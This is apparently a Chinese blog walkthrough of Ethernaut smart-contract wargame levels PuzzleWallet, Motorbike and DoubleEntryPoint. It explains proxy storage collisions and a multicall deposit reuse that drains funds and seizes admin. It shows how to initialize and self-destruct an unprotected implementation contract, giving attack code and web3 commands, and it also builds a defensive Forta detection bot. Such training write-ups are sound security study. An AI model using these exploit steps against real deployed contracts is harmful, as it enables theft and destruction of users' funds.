其实代理合约通过delegatecall调用实例合约,这里面有一个我们先前提过的问题,就是需要两个合约之间的存储槽不能产生冲突,否则会导致数据被随意修改。那我们就来看看,其实本关卡是存在存储冲突这一问题的。

先看PuzzleProxy,其定义变量如下,而UpgradeableProxy并没有定义变量。

contract PuzzleProxy is UpgradeableProxy {address public pendingAdmin;address public admin;
}

因此,其slot存储如下:

-----------------------------------------------------
| unused (12bytes)      |  pendingAdmin (address 20bytes) |< - slot 0
-----------------------------------------------------
| unused (12bytes)      |  admin (address 20bytes) |< - slot 1
-----------------------------------------------------

PuzzleWallet中变量存储如下:

-----------------------------------------------------
| unused (12bytes)      |  owner(address 20bytes) |< - slot 0
-----------------------------------------------------
| maxBalance  |< - slot 1
-----------------------------------------------------
| whitelised(占位)  |< - slot 2
-----------------------------------------------------
| balances(占位)  |< - slot 3
-----------------------------------------------------

所以很明显,产生了存储冲突,proxy中的pendingAdminadmin实际上对应在puzzleWallet中应该是ownermaxBalance。所以如果我们想修改admin其实可以从maxBalance入手,或者通过pendingAdmin等看一看。

合约交互

想要通过setMaxBalance修改maxBalance有一个先决条件,那就是onlyWhitelisted,即用户需要在白名单中。而要添加到白名单,需要调用addToWhitelist方法,这又需要require(msg.sender == owner, "Not the owner");,所以我们可以先通过修改pendingAdmin修改owner,然后在逐一完成。

我们先生成selector将其和param合并生成交易中的data,以此可以发起对proposeNewAdmin(address)方法的调用。在修改过后此时合约的owner已修改为'0x0bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b'

通过await contract.addToWhitelist(player)将用户添加到白名单中,此时再用await contract.whitelisted(player)进行检查。


然后,如果要设置setMaxBalance需要满足条件require(address(this).balance == 0, "Contract balance is not 0");即合约本身余额不能为0,而我们通过await getBalance(contract.address)可以查询到合约还有余额0.001以太。我们应当办法将其移除。

此时我们可以查看到槽的存储情况如下,slot 0已变成了用户地址,而slot 1却是关卡合约的地址。


这是什么原因呢?这是因为,在初始化代理合约时,admin变量已经确定,所以当后续调用init时,由于存储冲突,所以maxBalance不为0,所以该方法其实调用就失败了,原始值也就没有更改。

我们想到multicall里面有这么一个限制:

            if (selector == this.deposit.selector) {require(!depositCalled, "Deposit can only be called once");// Protect against reusing msg.valuedepositCalled = true;}

这是什么意思呢? 那就是只能存一次,如果在multicall里调用两次deposite函数,我们也不应当重复计算所存的数量。这里只是简单的对data的选择器作了单层校验,我们如果将其封装,似乎是可以绕过的。

我们需要找到调用时发送的数据。其中selector的数据为:


组装成multicall时,其数据为:


再将其封装,dataselector一起传入,调用multicall,同时附上0.001Ether,此时由于没有两个deposit同时调用,就可以绕过。相当于msg.value被重复计算了两次。

此时,可以看出用户在合约中的份额实际变为0.002Ether。

通过await contract.execute(player,web3.utils.toWei('0.002'),0x0)取出所有的Ether,此时合约balance为0。此时,由于满足了我们先前所说的条件,在此之后我们就可以通过setMaxBalance去设置maxBalance从而改变admin了。


通过await contract.setMaxBalance('0x0000000000000000000000000bD590c9c9d88A64a15B4688c2B71C3ea39DBe1b')改变maxBalance,此时可以发现,slot 1 中的值也随之发生改变,对应的admin也发生了改变。


提交实例,本关卡成功!

总结

代理合约虽好,但其中的坑可不少,一定要仔细设计,用心斟酌。


25 Motorbike

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0x620Edcd5C5B957E35c9e4E1BB3e8612DD62B9c48。本关卡的要求是通过自毁Engine从而使得Motorbike合约失效。

我们先来看看这题究竟想要干什么:吸取了上一题的教训,这题很明显也注意到存储slot冲突的问题了,代理合约Motorbike不再定义变量去存储,而是定义了被代理合约Engine地址存储的槽编号

    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

其所有的业务操作都是通过fallback()函数调用_delegate()实现的。

    // Delegates the current call to `implementation`.function _delegate(address implementation) internal virtual {// solhint-disable-next-line no-inline-assemblyassembly {calldatacopy(0, 0, calldatasize())let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)returndatacopy(0, 0, returndatasize())switch resultcase 0 { revert(0, returndatasize()) }default { return(0, returndatasize()) }}}// Fallback function that delegates calls to the address returned by `_implementation()`. // Will run if no other function in the contract matches the call datafallback () external payable virtual {_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);}// Returns an `AddressSlot` with member `value` located at `slot`.function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {assembly {r_slot := slot}}

每当有新的请求进来,则会先从存储中获取slot结构体,并在_delegate中进行Engine方法的调用。

接下来我们看看Engine合约,合约定义了一系列函数,其中还包括upgradeToAndCall等函数。除了业务逻辑之外,Motorbike合约的升级也是由Engine实现,所作的其实是修改对应槽的位置并初步调用新的函数(一般来说是初始化函数)。

    // Upgrade the implementation of the proxy to `newImplementation`// subsequently execute the function callfunction upgradeToAndCall(address newImplementation, bytes memory data) external payable {_authorizeUpgrade();_upgradeToAndCall(newImplementation, data);}// Restrict to upgrader rolefunction _authorizeUpgrade() internal view {require(msg.sender == upgrader, "Can't upgrade");}// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.function _upgradeToAndCall(address newImplementation,bytes memory data) internal {// Initial upgrade and setup call_setImplementation(newImplementation);if (data.length > 0) {(bool success,) = newImplementation.delegatecall(data);require(success, "Call failed");}}// Stores a new address in the EIP1967 implementation slot.function _setImplementation(address newImplementation) private {require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");AddressSlot storage r;assembly {r_slot := _IMPLEMENTATION_SLOT}r.value = newImplementation;}

现在我们就要思考攻击的入口了。如果我们仍是以motorbike为对象展开攻击,仍是以delegatecall方式,那么即使自毁,销毁的也将是motorbike合约。所以我们应该是以engine为入口。考虑到engine本身并没有自毁,且其也有升级方法,所以我们可以将engine作为代理合约,自己新建业务合约,最终完成攻击。

攻击合约编写

我们先编写攻击合约,其实很简单,就是带有自毁函数的合约。部署后,其合约地址为0x3A69C8B5c1CB0Fb85485EfB3577E9d8f1131CB82

pragma solidity ^0.6.0;contract Attacker {constructor() public {}function destruct(address payable addr) public {selfdestruct(addr);}}

合约交互

如果我们想要发起攻击,就应当找到Engine合约究竟是什么?通过Motorbike可知,其地址作为值存储在slot 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc中。所以我们通过await web3.eth.getStorageAt(contract.address,'0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc')获取Engine合约地址为0x917e11b988a0aa6184ab8e129fb8bf61cb14cc70


此时,我们看一看Engine的存储状态,其实都是为空,其原因是Engine只作为函数的提供者,具体变量状态的存储则是通过Motorbike执行。此时Engine本身就是未经初始过的新合约!考虑到在修改业务合约时,需要保证player的角色为upgrader,所以我们将通过initialize完成初始化。


我们通过await web3.eth.sendTransaction({from:player,to:engine,data:selector})生成新的交易,此时Engine合约已完成初始化,显示initialized1(true)initializing0(false),而upgrader也变为了player,对应的horsepower也完成了修改。


此时,player的角色已经修改为了upgrader,所以我们可以调用upgradeToAndCall完成业务合约的修改。

首先我们要构建调用合约时的data,一般有几种方法。

  • 第一种是selector + param,分别算出函数选择器和参数并组合。(函数选择器也可以通过encodeFunctionSignature完成)
  • 第二种则是web3.eth.abi.encodeFunctionCall()

    我们已经得到了destuctdata数据,我们现在要将其作为bytes注入到upgradeToAndCall中去,见下图:


我们通过await web3.eth.sendTransaction({from:player,to:engine,data:data2})进行自毁,成功后Engine函数已经完成自毁,存储消失,链上也显示了自毁成功!



提交实例,本关卡成功!

总结

这题其实比较简单,需要注意的其实是怎样找到切入点并构造正确的data。


26 DoubleEntryPoint

创建实例并分析

根据先前的步骤,创建合约实例,其合约地址为0xb938Cc3cC6c3b97c41628AdEc6d409eEFeb4a824。本关卡的要求是找到合约的漏洞,并通过forta模式进行补救,防止合约通证被清空。

纵观合约,总共有这么几个合约:FortaCryptoVaultLegacyTokenDoubleEntryPoint,此外还有几个接口,分别是DelegateERC20IDetectionBot

我们将分开看看各个合约和接口都分别扮演了怎样的角色:

  • DelegateERC20 : 该接口应当实现delegateTransfer方法,专门作为被委托通证合约。

  • IDetectionBot : 该接口应当实现handleTransaction方法,针对传入的usermsgData变量进行校验,并判断交易是否成行。

  • IForta : 该接口应当实现setDetectionBotnotify以及raiseAlert方法,能否辅助通证合约判断当前交易是否有效。

  • Forta : 该类实现IForta接口,可以看到其模式:

    • SetDetectionBot用来设置传入的地址为对应发起地址合约的检测bot。
    function setDetectionBot(address detectionBotAddress) external override {require(address(usersDetectionBots[msg.sender]) == address(0), "DetectionBot already set");usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }
    
    • notify负责提醒detectionBot对交易进行校验。
    function notify(address user, bytes calldata msgData) external override {
    if(address(usersDetectionBots[user]) == address(0)) return;
    try usersDetectionBots[user].handleTransaction(user, msgData) {return;
    } catch {}
    }
    
    • raiseAlert负责接受detectionBot传来的警报。
  function raiseAlert(address user) external override {if(address(usersDetectionBots[user]) != msg.sender) return;botRaisedAlerts[msg.sender] += 1;}
  • CryptoVault(密码金库,笑) : 该合约定义了变量underlying,该变量存储不可被交易的通证。同时该合约又定义了sweepToken,顾名思义,可以取出合约中所存储的通证(除underlying外),个人理解可能是为了保证合约中通证的纯净度。
    function setUnderlying(address latestToken) public {require(address(underlying) == address(0), "Already set");underlying = IERC20(latestToken);}/*...*/function sweepToken(IERC20 token) public {require(token != underlying, "Can't transfer underlying token");token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));}
  • LegacyToken(停用通证): 该合约是停用的通证合约,在设计之初就写死了transfer功能,即如果没有委托(即尚未停用),即表现正常,如果存在委托(即已经停用,进行了映射之类的),则转而调用委托合约中的delegateTransfer方法。
    function transfer(address to, uint256 value) public override returns (bool) {if (address(delegate) == address(0)) {return super.transfer(to, value);} else {return delegate.delegateTransfer(to, value, msg.sender);}}
  • DoubleEntryPoint (二次进入点?现在理解来看应该是) :该合约(实际上)实现了DelegateERC20的接口,但值得注意的点是其delegateTransfer只接受来自父合约(停用通证)的调用,当然该合约受到了forta的保护,通过fortaNotify这一修饰符实现forta的交易前后校验。
    function delegateTransfer(address to,uint256 value,address origSender) public override onlyDelegateFrom fortaNotify returns (bool) {_transfer(origSender, to, value);return true;}

现在我们就要找找漏洞。根据题目中的提示the CryptoVault holds 100 units of it. Additionally the CryptoVault also holds 100 of LegacyToken LGT,也就是说合约既有停用通证,也有委托通证。如果我们在sweepToken时试图除去停用通证,停用通证中的transfer将会调用委托通证的delegateTransfer方法,当两个合约余额相同时,其实也变相完成了侵入。问题就在这里,那么该怎么办呢?

其实我们在delegateTransfer时应当检查,不应当是通过sweepToken透过LegacyToken完成,这就是我们的思路。

攻击合约编写

看一下 function handleTransaction(address user, bytes calldata msgData) external; 可知传入的msgData是破题的关键。msgData按照 forta.notify(player, msg.data);来说应当是selector, to, value, origSender。而这里的origSender又是什么呢?其实是LegacyToken被调用时的msg.sender,后者在漏洞中就是cryptoVault,否则将是其他正常地址,我们可以通过这里进行判断,就是看origSender是否为cryptoVault的地址。


pragma solidity ^0.6.0;interface IForta {function setDetectionBot(address detectionBotAddress) external;function notify(address user, bytes calldata msgData) external;function raiseAlert(address user) external;
}contract Attacker {IForta iforta_ins;address cryptoVault;constructor(address _addr, address _addr2) public {iforta_ins = IForta(_addr);cryptoVault = _addr2;}function handleTransaction(address user, bytes calldata msgData) external {address addr;uint256 value;address origSender;(addr,value,origSender) = abi.decode(msgData[4:],(address, uint256, address));if (origSender == cryptoVault){iforta_ins.raiseAlert(user);}}}

我们通过abi.decode获取到参数,从4开始是为了截取函数选择器,拆分出addr(to)valueorigSender,如果相等,则需要发出警报。(此处比较简单,是因为我觉得detectionBot其实在本处应用就一个入口,就是当delegateTransfer时唤醒操作,而我想sweepToken操作是检测不到的,检测delegateTransfer也没有意义)

合约交互

现在来看,我们得到的contract应该是DoubleEntryPoint,地址为0x85b3686eeEC7092cb36F94566575906ec49767DF,其cryptoVault'0x1C21b79f726eF47d923153A6c54eD18d62Ef2881'forta合约为'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e'

部署攻击合约,其地址为0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e

手动通过await web3.eth.sendTransaction({from:player,to:'0x8388c030B72e73357FDaFf4f74A24AA7460b5D5e',data:data})设置关联检测机器人。

提交实例!本关卡成功!

总结

这就是观察者模式的变种,你们感觉到了吗?


总结

很幸运,在长达3个月的持续更新里,我学到了太多东西,希望以后也能持续学习,给大家分享我的所见、所得、所感!

[区块链安全-Ethernaut]区块链智能合约安全实战-已完结相关推荐

  1. [区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中

    [区块链安全-Damn-Vulnerable-DeFi]区块链DeFi智能合约安全实战-连载中 前言 环境准备 1. unstoppable 任务分析 发起攻击 总结 2. Naive receive ...

  2. Zeppelin:用于区块链应用的开源安全智能合约架构

    9月15日,Zeppelin的路线图建议发布.Zeppelin是一种构建安全智能合约的开源架构,遵循MIT许可.该建议的推出正是时候,从DevCon2大会上围绕着智能合约形式验证的报告和讨论的次数上就 ...

  3. solidity payable_以太坊区块链搭建与使用(五)-智能合约Solidity

    一.智能合约Solidity开发工具 1.remix-ide http://remix.ethereum.org/ 在线版本,也可以去github下载安装到本地.开发.编译.发布.执行.测试 2.re ...

  4. 【区块链技术开发】剖析区块链Ganache模拟器工具及其智能合约部署区块链的查询方式

    专栏:[区块链技术开发] 前期文章: [区块链技术开发]基于Web3.js以太坊网络上的智能合约的交互及其应用 [区块链技术开发]OpenZeppelin智能合约库:提高智能合约的安全性和可靠性,加速 ...

  5. 区块链学习笔记21——ETH智能合约

    区块链学习笔记21--ETH智能合约 学习视频:北京大学肖臻老师<区块链技术与应用> 笔记参考:北京大学肖臻老师<区块链技术与应用>公开课系列笔记--目录导航页 智能合约简介 ...

  6. Web3与智能合约交互实战

    链客,专为开发者而生,有问必答! 此文章来自区块链技术社区,未经允许拒绝转载. Web3与智能合约交互实战 以太坊中智能合约和web3交互实战 最近区块链.以太坊十分的火,所有就会有许多人去进入区块链 ...

  7. SAP云平台,区块链,超级账本和智能合约

    前一篇文章<Hyperledger Fabric on SAP Cloud Platform>,我的同事Aviva已经给大家介绍了基于区块链技术的超级账本(Hyperledger)的一些概 ...

  8. 赛联区块链培训:Web3的核心要素——区块链、加密资产、智能合约和预言机

    在2008年,中本聪发布了比特币白皮书,彻底颠覆了我们对数字化交易的概念,并首次提出了一种无需可信中间方的安全在线交易模式.中本聪写道:"需要基于加密证明,而非信任,来建立电子支付系统.&q ...

  9. 关于区块链、Web3.0、智能合约、DApp、DAO一文解释清楚

    目录 区块链(Block Chain) 概念 使用范围 Web3.0 智能合约(Smart Contract) DApp(Decentralized Application) DAO(Decentra ...

最新文章

  1. 持续演进,克服“REST缺乏”
  2. 周鸿祎VS马化腾 360VS腾讯工资待遇盘点
  3. Codeforces Round #415 (Div. 2) C. Do you want a date?
  4. stl变易算法(二)
  5. 黑马程序员___Java基础[09-IO]
  6. B5服务器内昵称注册,CSGO-B5开放注册
  7. 企业安全-003NTA大法
  8. 几何公差基础知识之圆柱度
  9. STM32单片机扩展下的IPUS SQPI PSRAM应用领域
  10. 电脑硬盘分区太多?如何合并分区?
  11. 岳父岳母-关于钟点工
  12. C语言实现物品竞拍管理系统
  13. Springboot集成springFox-Swagger3并通过Yapi做接口管理
  14. 一招教你快速取消Mac系统开机密码的方法
  15. 360度全景拼接之成像模型与柱面投影
  16. 斗鱼直播画面怎么弄到自己网页上_“集战!创界山勇者”斗鱼主播招募活动开始啦!...
  17. 基于Python读取Excel表格文件数据并转换为字典dict格式
  18. 错误: 找不到或无法加载主类 com.taikang.Application
  19. 让优秀成为一种习惯!
  20. Selenium之悬浮菜单定位

热门文章

  1. 解决搜狗输入法ctrl+shift+z 和phpstorm冲突的问题
  2. YC-Framework版本更新:V1.0.9
  3. PostgreSQL索引膨胀
  4. Java_控制流程(if、switch、while、for、continue、break、结束外部循环)
  5. 20、蓝牙和RFID(介质访问控制子层)
  6. 从几何角度切入最近邻
  7. PTA-判断输入的字符是哪种类型
  8. 2022年度浦东新区科技发展基金社会领域数字化转型专项立项公示
  9. python从入门到实践外星人入侵,GitHub - tryturned/alien-invasion: Python 编程从入门到实践项目之外星人入侵...
  10. url地址的图片路径